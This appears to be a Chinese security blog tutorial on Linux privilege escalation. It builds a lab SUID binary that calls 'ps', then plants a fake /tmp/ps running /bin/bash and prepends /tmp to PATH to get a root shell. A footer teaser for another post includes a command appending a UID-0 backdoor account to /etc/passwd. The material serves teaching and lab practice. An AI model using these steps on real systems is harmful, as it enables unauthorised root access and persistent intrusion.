利用Linux的SUID权限和PATH环境变量来提权


简介:

1.SUID 简介
SUID 是 Linux 下的一种特殊权限,一般只有二进制可执行文件可以被赋予此权限。命令执行者在执行被赋予了 SUID 权限的文件时,获得此文件的所有者的权限,在此文件程序运行结束,临时获得的文件所有者的权限也将相应失去。
举个例子:root 管理员创建了一个可执行的二进制名为 shell 的文件,然后 root 用户又赋予了此文件 SUID 权限,那么这台机器上一个名为 zhangsan 的普通用户在执行此二进制文件时,那么 zhangsan 在执行这个程序其实是以 root 用户来运行的。在举个详细的例子,我们知道在 Linux 下修改用户密码使用的是 passwd 命令,并且将真实密码文件保存在 **/etc/shadow** 文件中,此文件只有 root 用户可读可写,那么我们想一想,为什么 root 用户可以使用 passwd 命令修改自己的密码,然后将密码存写入 **/etc/shadow** 文件。而我们普通用户也可以使用 passwd 命令修改自己的密码,也写入了 **/etc/shadow** 文件呢?其实到这里就可以开始逐渐明白了什么是 SUID 权限,我们其实可以用 ls -l 命令查看一下 passwd 命令的执行文件的权限

ls -l /usr/bin/passwd

img

可以发现 passwd 文件的权限有一个特殊的 s 权限,这便是 SUID 权限了,所以呢普通用户在执行 passwd 命令时其实是临时获得了 root 用户的权限,然后随着修改密码结束,也是进程的结束,临时性获得的 root 权限也就没有了。

  1. PATH 环境变量简介
    PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定了可执行程序的所有 bin 和 sbin 存储目录。比如我们常用的 ls 命令,当在终端上输入并敲下回车键之后,它会向 shell 发送请求在 PATH 中寻找可执行文件,以此来相应用户执行的命令。执行的 ls 命令在 PATH 中的目录为 /bin/ls 找到了,所以就执行了 ls 命令,也可以说是执行了 /bin/ls 文件。如果在 PATH 中没有找到,那么也就无法执行相应的命令。

img

还有一点就是在 PATH 中寻找可执行文件时是按照从前往后的顺序进行查找,比如在第一个找到之后,就会立即执行,不在向下查找。

一、环境搭建

1.1 root 用户创建一个 SUID 权限的文件(请放在可供其他用户查找到的目录)
我们需要先生成一个具有 SUID 权限的文件,先命名为 shell.c 用 C 语言写下一段简单的代码:

#include 
#include 
int main(void)
{
    setuid(0);
    setgid(0);
    system("ps");
    return 0;
}

1.2 进行编译
使用 gcc 进行编译

gcc shell.c -o shell

将写好的代码编译并输出名为 **shell** 的文件

1.3 赋予 SUID 权限

chmod u+s shell

上面这条命令等同于

chmod 4755 shell

现在可以看到 shell 文件已经被赋予了 SUID 权限,可以查看一下原来的可执行权限位上的 x 变为了 s

ls -l shell

二、普通用户提权

2.1 寻找有特殊权限的 SUID 文件
当我们得到了一个普通用户权限准备提权的时候可以先查找一下本台机器上的所以有特殊权限的文件

find / -perm -u=s -type f 2>/dev/null

使用上述命令可以查找这台机器上所有存在特殊权限的文件,然后我们发现了名为 shell 的文件,我们先来执行一下。

img

发现其好像是执行了 ps 命令(其实也就是上面那个 C 语言程序中写着的,但是在实际环境中肯定是要试一下才知道执行的是什么)

2.2 利用环境变量提权
我们已经知道了,这个程序执行了 ps 命令(查看进程),执行 ps 命令时会在 PATH 环境变量中寻找可执行文件的位置,找到之后就会执行。那么我们就可以在一个公共可写目录创建一个名为 ps 然后通过添加环境变量,让那个 shell 文件来执行这个 ps 而不是真正的 /bin/ps 文件。

2.3 创建提权文件
在 /tmp 目录下创建一个名为 **ps** 的文件,并写入执行脚本代码:

echo '/bin/bash' > /tmp/ps

添加可执行权限

chmod +x /tmp/ps

将 /tmp 目录添加到 PATH 环境变量

export PATH=/tmp:$PATH

查看目前环境变量,可以看到已经添加好环境变量了

echo $PATH 

img

2.4 开始提权
执行原有的名为 shell 带有 SUID 特殊权限的文件

./shell

img

可以看一下执行前后的变换,可以发现我们已经成功提到 root 用户权限了。

三、总结

其实也就是个 root 用户创建了一个有着 SUID 特殊权限的可执行文件,而且这个文件又放在了一个公共目录,可被其他用户读取到。一个普通用户执行了一下发现这个文件执行的是 ps 命令(其实也可以使用 strings 查看一下这个文件执行的是什么),然后就在 tmp 目录下创建了一个与执行的命令名完全一样的文件名,并且将 tmp 目录添加到了 PATH 环境变量中,当这个普通用户执行这个有着特殊权限的文件时,这个有着特殊权限的文件又调用了 ps 命令,所以就在 PATH 中查找,首先在 PATH 找到了 tmp 目录下存在,就直接执行了 /tmp/ps 这个文件,这个文件中我们又写入的执行命令是 /bin/bash 所以就以 root 用户的权限执行了 /bin/bash 也就是相当于提权到了 root 权限,因为现在已经获得了一个有 root 用户起的一个新的 bash 进程,这个在进程列表中就可以很明显地看出来。

参考链接:

Linux提权之SUID:https://mochazz.github.io/2018/06/09/Linux%E6%8F%90%E6%9D%83%E4%B9%8BSUID/
利用 PATH 环境变量进行 Linux 提权:https://www.anquanke.com/post/id/146799
Linux修改环境变量的4种方法:https://www.cnblogs.com/xiaofeng666/p/11171783.html
linux特殊权限SUID,SGID,sticky:https://blog.csdn.net/bpb_cx/article/details/82700790
SUID权限简介:https://www.cnblogs.com/iaknehc/p/6881517.html


文章作者: Writeup
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
 上一篇
文件包含漏洞 文件包含漏洞
简介:文件包含漏洞主要可分为两种:本地文件包含漏洞和远程文件包含漏洞。在 PHP 开发中,可以通过文件包含函数加载另一个文件中的 PHP 代码,并且当PHP来执行,这会为开发者节省大量的时间。比如在 Web 网页项目开发中,会经常遇到一个网
2020-10-08
下一篇 
Linux下权限维持之后门登陆 Linux下权限维持之后门登陆
简介:好不容易拿到的 shell 不能白白放弃,加个后门,方便下次再来。 一、添加管理员用户echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd && ec
2020-10-08
  目录